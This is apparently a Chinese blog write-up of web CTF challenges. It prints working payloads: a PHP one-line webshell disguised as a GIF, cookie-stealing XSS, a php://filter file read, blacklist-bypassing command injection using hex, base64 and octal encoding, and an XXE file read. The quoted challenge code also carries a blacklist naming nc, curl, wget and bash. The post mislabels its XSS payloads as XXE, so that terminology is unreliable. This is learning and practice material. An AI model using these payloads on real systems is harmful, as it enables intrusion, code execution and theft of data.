本文最后更新于 2024年9月21日 下午
前言:比赛并没有参加,趁着复习期末写题目放松一会,学习学习知识。
Web upload1 典型的一句话木马,按照流程来就行
直接上传一个图片,不能直接连接成功,试着传入htaccess限定只能上传图片那些,那估计就是改图片为php就行
然后蚁剑连一下就可以了
疑惑:我尝试用jpg上传的时候改末尾并不能成功,看官p用的gif,
1 2 GIF89a <script language='php' >eval ($_POST ['attack' ]);</script>
按道理也应该正常执行的,并不是很理解。
审计 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 no no no! <?php error_reporting(0); include("flag.php"); highlight_file(__FILE__); if (isset($_GET['xxs'])) { $input = $_GET['xxs']; if (is_array($input)) { die("错误:输入类型不允许为数组。"); } if (!preg_match("/^0e[0-9]+$/", md5($input))) { die("错误:输入的MD5值必须以'0e'开头,并跟随数字。"); } if (!is_numeric($input)) { die("错误:输入必须是数字。"); } die("恭喜:".$flag); } else { die("错误:必须设置正确参数。"); } ?> 错误:必须设置正确参数。
先上源码,先审计一下代码,大体上应该就是关于md5的知识点
首先不能用数组绕过,然后要0e开头,最后md5加密后不能为数字,直接一把梭了,平时积累的md5加密等于自身就行
扫扫看 提醒我们扫一下,用dirsearch扫一下得到flag.php,进去看看
看一下源码,得到flag
debudao 内容,先看看源码,有个flag是假的(欸
尝试sql注入,好像也不是
尝试ssit注入,也不是
最后发现是xxe漏洞,这方面我还没怎么学,等暑假好好补补吧
先用下面的来测试一下,发现有弹窗
1 <script>alert(1)</script>
然后跟着wp写的
1 <script>alert(document.cookie)</script>
爆出flag,用url解码就可以得到flag了
想法:按照这个方法的话其实好像可以直接用hackerbar看cookie那一栏,并不需要构造xxe,重新开一次容器发现方法并不可行,哈哈我自己想多了
Dragon 按照正常思路来走一遍,和上面的差不多但是都没有回显,最后得出也是xxe
1 <script > alert(1)</script >
也是用这个得到的但是不能正常弹窗,和官p学习了一下可以用img
1 <img src=0 onerror =alert(1)>
这样就可以正常的弹窗了,然后和上面的题目一样
1 <img src=0 onerror =alert(document.cookie)>
获取cookie值,url解码得到flag
感想:任何比赛都能让人找到自己的不足漏洞,之后一定要狠狠学学。
tnl 类型和前几题差不多,也试看看,尝试输入到3的时候会有报错,以为是sql注入,尝试万能语句并没有作用
也尝试了一下xxe也没有回显
用bp抓包看看,尝试利用伪协议得到index.php
这是尝试过后发现源码应该后面本身就包含了.php,得到了源码,base64解密一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 </form> <?php error_reporting(0); @$file = $_POST['twothree']; if(isset($file)) { if( strpos( $file, "1" ) !== false || strpos( $file, "2" ) !== false || strpos( $file, "index")){ include ($file . '.php'); } else{ echo "You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'twothree'' at line 1"; } } ?>
看了源码可以得知这并不是sql注入,而是一个伪协议绕过的题目,输入1,2,index可以获得相应的内容
那么进行简单的构造,我也是第一次看到这种
1 twothree=php://filter/convert.base64-encode/index/resource=flag
最后base64解密就可以得到flag了
你知道sys还能这样玩吗 根据提示进入sys.php
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php show_source (__FILE__ );if (isset ($_POST ['cmd' ])){ echo "<pre>" ; $cmd = $_POST ['cmd' ]; if (!preg_match ('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|date|bash|env|\?|wget/i' , $cmd )) { $output = system ($cmd ); echo $output ; } echo "</pre>" ; }?>
和国赛的那个有点类似
方法1: 尝试php -r来进行二次执行
1 cmd=php -r 'system(hex2bin("6c73202e2e2f"));'
查看
1 cmd=php -r 'system(hex2bin(ff3b636174202f666c61672e747874));'
ff是进行的一个绕过执行,否则得不到
方法2: 1 cmd=`printf "Y2F0IC8q" |bas"" e64 -d`
这里看到一个师傅利用了printf和双引号绕过base64加密的方法得到了答案,也放在这,还是比较巧妙的
方法3: 上面几个都是借鉴的,还有一个办法就是八进制转化,之前写xyctf有一个和这样类似的,我就直接上payload了
1 cmd=$%27\143\141\164%27%3c$%27\57\146\154\141\147\56\164\170\164%27
详情可参考,文章 ,ezrce那个部分
ExX? 先搜看看flag{}有个假的flag,那再看看题目吧
尝试dirsearch扫描得到dom.php,出现了xml的报错很明显就是xxe的漏洞了,同天的lit比赛也是有一个题目是xxe
不知道原理直接上payload之后打算写一篇专题好好学习
1 2 3 4 5 6 7 8 9 10 <?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=file:///var/www/html/flagggg.php" > ]> <user > <name > &xxe; </name > </user >
最后base64解密就行
总结 剩下的题目都是考察java类的web题目,我还没学到也暂时没必要跟着复现了,总体来说题目也是较为友好的,自己还是要多复习多刷题,暂时就先到这了。